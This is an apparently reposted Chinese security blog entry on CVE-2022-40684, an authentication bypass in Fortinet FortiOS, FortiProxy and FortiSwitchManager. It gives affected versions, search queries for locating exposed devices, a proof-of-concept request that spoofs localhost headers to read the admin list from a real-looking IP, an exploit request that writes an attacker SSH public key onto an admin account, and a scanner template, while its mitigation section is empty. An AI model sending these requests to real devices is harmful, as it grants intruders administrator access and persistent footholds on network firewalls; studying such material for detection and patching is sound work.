免责声明
GitHub地址:
https://github.com/hughink/CVE-2022-40684
漏洞简介
影响版本
-
FortiOS 版本 7.2.0 - 7.2.1
-
FortiOS 版本 7.0.0 - 7.0.6
-
FortiProxy 版本 7.2.0
-
FortiProxy 版本 7.0.0 - 7.0.6
-
FortiSwitchManager 版本 7.2.0
-
FortiSwitchManager 版本 7.0.0
搜索语法
title="FortiProxy"
title="FortiGate"
Poc数据包
GET /api/v2/cmdb/system/admin HTTP/2
Host: 35.192.137.121
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Hosts: 127.0.0.1:9980
Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=
X-Forwarded-Vdom: root
Exp数据包
PUT /api/v2/cmdb/system/admin/用户名 HTTP/2
Host: 目标
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 589
Content-Type: application/json
{"ssh-public-key1": ""公钥内容""}
漏洞复现
GET /api/v2/cmdb/system/admin HTTP/2
Host: 35.192.137.121
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Forwarded: by=""for=""
X-Forwarded-Vdom: abcd
name: poc-yaml-Fortinet-CVE-2022-40684
manual: true
transport: http
rules:
r1:
request:
method: GET
path: /api/v2/cmdb/system/admin
headers:
Node.js :
Forwarded: by=""for=""
root :
follow_redirects: false
expression:
=200 && response.body.bcontains(b"revision") && response.body.bcontains(b"q_origin_key") =
expression:
r1()
detail:
author: Infiltrator
links:
https://github.com/NHPT
漏洞检测结果:
防护建议
原文始发于微信公众号(Hack All):CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论